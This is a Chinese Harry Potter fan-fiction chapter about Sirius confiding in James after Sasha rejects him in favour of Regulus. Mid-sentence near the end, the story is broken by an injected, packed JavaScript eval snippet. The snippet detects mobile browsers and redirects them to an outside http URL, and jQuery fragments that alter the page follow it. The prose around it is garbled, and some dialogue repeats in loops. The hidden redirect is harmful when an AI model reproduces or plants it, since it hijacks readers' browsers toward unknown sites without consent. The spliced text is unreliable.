舞会那晚,西里斯回到格兰芬多寝室的时候,詹姆还没睡。他靠在床头,圆框眼镜架在鼻梁上,手里拿着一本翻了一半的《高级魁地奇战术》,但目光没有落在书页上。他听到门响,抬起头,看着西里斯走进来,关门,把礼服外套脱下来搭在椅背上,解下领带扔在床上,然后坐在床边,双手撑在膝盖上,低着头,黑发垂下来遮住了半张脸。
寝室里只有他们两个人。莱姆斯还在医疗翼——满月刚过,庞弗雷夫人说要再观察一晚。壁炉里的火快灭了,只剩下几块暗红色的木炭在灰烬中发出微弱的光,在西里斯的脸上投下跳动的、暗沉的影子。
詹姆放下书,看着他。“你表白了?”
“嗯。”
“她怎么说?”
西里斯沉默了很久。久到壁炉里的最后一块木炭也熄灭了,寝室里彻底陷入了黑暗。他的声音从黑暗中传出来,很低,带着一种压了很久、终于没压住的气音。
“她跑了。”
詹姆没有问“跑到哪里”。他只是从床上下来,走到西里斯旁边,坐在他旁边的床沿上。两个人的肩膀靠在一起。
“她喜欢雷古勒斯。”西里斯的声音还是低的,但这一次,低里面多了一种东西——不是愤怒,不是嫉妒,而是一种更复杂的、像是“我早就知道”的释然。“她亲了他。她从我身边跑开的时候,头发散着,嘴唇上还有他的温度。她跑到拉文克劳塔楼,没有回头。”他顿了一下。“她喜欢他。”
詹姆没有说话。他只是伸出手,在西里斯的后背上用力拍了一下。
西里斯抬起头,他在天花板上看到了她的脸。不是今晚的脸,而是在德国,在林德纳老宅的花园里,在老苹果树下,她赤脚踩在青苔上,阳光从叶子的缝隙里漏下来,在她的脸上投下碎金一样的图案。她对他笑,说“你以后可以常来德国”。他以为那是给他的。不是。那是给所有人的。她对谁都那样笑。她对雷古勒斯也那样笑。她对他笑的时候,他没有问自己——她是不是只对我这样笑。他不敢问。现在他知道答案了。
“詹姆。”
“嗯。”
“我是不是很蠢?”
詹姆想了想。“是。你是我见过的最蠢的聪明人。”
西里斯的嘴角弯了一下。“我明天还要见到她。”
“明天平安夜。你见不到她。她回德国了。你来我家。”
西里斯愣了一下。他忘了。明天是平安夜。明天她不在霍格沃茨。明天他不用见到她。
“詹姆。”
“嗯。”
“我睡不着。”
“我知道。”
“你能不能讲个笑话?”
詹姆想了想。“有一个巨怪,走进一家酒吧,对酒保说——”
“算了。”
詹姆没有讲完。寝室里安静了很久。久到窗外的月光在房间里走了一圈,最后落到了对面的墙上。西里斯闭上了眼睛。他没有睡着。但他假装自己睡着了。
新年之后,回到霍格沃茨。西里斯和萨莎见了面,说了话。她没有躲着他了。她说她好像确实没有办法再把他单纯当做朋友了。她说他是一个非常有魅力的人,聪明,天赋好,有正义感,有个性。他记住了每一句话。
那天晚上,西里斯回到格兰芬多寝室的时候,詹姆正趴在床上看魁地奇杂志,一条腿搭在另一条腿上,脚丫子在空中晃来晃去。他听到门响,抬起头,看着西里斯走进来,关门,把校袍脱下来搭在椅背上,然后站在窗前,看着窗外的黑湖。月光从窗户照进来,落在他的脸上,他的灰色眼睛里有光,不是被照亮的,而是从里面烧出来的,烫得连空气都在发颤。
詹姆放下杂志。“你今天终于见到她了?”
“嗯。”
“她怎么说?”
西里斯转过身,靠在窗台上,灰色的眼睛看着詹姆。
“她说她好像确实没有办法再把我单纯当做自己的朋友了。”他顿了一下。“她说我是一个非常有魅力的人。说我聪明,天赋好,有正义感,有个性。”
詹姆的眉毛挑了起来。“她说这些了?”
“说了。”
“然后呢?”
西里斯的笑容收了一些。“她说她确实非常喜欢雷古勒斯。希望和雷古勒斯生活在一起。带他去德国,让他姓林德纳。”他的手指在窗台上敲了两下。“她说如果雷古勒斯最终选择留在英国追随神秘人,她最多只能接受他成为她的情人。不会接受一个食死徒作为她的爱人。”
詹姆靠在枕头上,浅褐色的眼睛在烛光中显得比平时更深。“她对雷古勒斯说了这些?”
“对。”
“那她对你说了什么?”
西里斯看着窗外的黑湖。
“她说——她之前一直把我当做同龄人中一个只是长得非常帅气的男生。”他的嘴角弯了一下。“只是。”他重复了一遍这个词,语气里带着一丝苦涩。“她说经过上一学年的相处,她对我改观了很多。但她也只是把我当做了朋友。”
詹姆看着他。“只是朋友?”
西里斯转过身,靠在窗台上,灰色的眼睛看着詹姆。“她说她好像确实没有办法再把我单纯当做自己的朋友了。”
詹姆的眉毛又挑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575257|204995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起来。“这不算只是朋友吧?”
西里斯的嘴角弯了一下。“她说她是一个糟糕的女巫。知难而退,明哲保身,脚踏两只船。她说如果我要改变心意,她可以接受。”
詹姆从床上坐起来,盘着腿,双手撑在膝盖上,浅褐色的眼睛从圆框眼镜后面盯着西里斯。“你改变心意了吗?”
西里斯看着他。“没有。”
詹姆靠回枕头上,嘴角弯了一下。“那就行了。她说什么不重要。重要的是——你没变。”
西里斯看着窗外的黑湖。月光从水面上反射上来,他眼里的光不是月光给的,是自己从里头烧出来的,烧得整个人的轮廓都像是烫的。
“她说我是一个非常有魅力的人。”他又说了一遍,嘴角的弧度比之前大了一些。
詹姆笑出了声。“你说过了。”
“再说一次不行吗?”
“行。你再说一百次都行。”
西里斯的嘴角弯着。他转过身,从窗台上拿起那本詹姆扔在那里的魁地奇杂志,翻了两页,放下。又拿起来,又放下。詹姆看着他。“你坐不住?”
“我——心跳很快。”
詹姆笑了。“你被她夸了几句,心跳就快了?”
西里斯看着他。“她说我是一个非常有魅力的人。”
詹姆抓起枕头朝他扔了过去。西里斯接住了枕头,也笑了。两个人在寝室里笑成一团。
笑完了,西里斯把枕头扔回给詹姆,靠在窗台上。
“詹姆。”
“嗯。”
“她说她不会接受一个食死徒作为她的爱人。”他顿了一下。“雷古勒斯说——他不会成为一个食死徒。他说她去哪里,他就去哪里。她不喜欢神秘人,他就不追随神秘人。她想让他姓林德纳,他就姓林德纳。”
詹姆沉默了几秒。“你弟弟是认真的?”
“他是认真的。”
“那你呢?”
“她说我是一个非常有魅力的人。”他的嘴角弯了一下。
詹姆叹了口气。“你又来了。”
西里斯笑了。不是那种客气的、礼貌的笑,而是一个真正的、从心里长出来的、藏都藏不住的笑。“她说我聪明,天赋好,有正义感,有个性。她说我是一个非常有魅力的人。”
詹姆看着他笑,自己也笑了。“你完了,西里斯。你彻底完了。”
“我知道。”
他靠在窗台上,月光落在他的脸上。他的灰色眼睛里有光,和一种詹姆读不懂的、像是“她说我是一个非常有魅力的人”的、安静的、温柔的、近乎孩子气的光。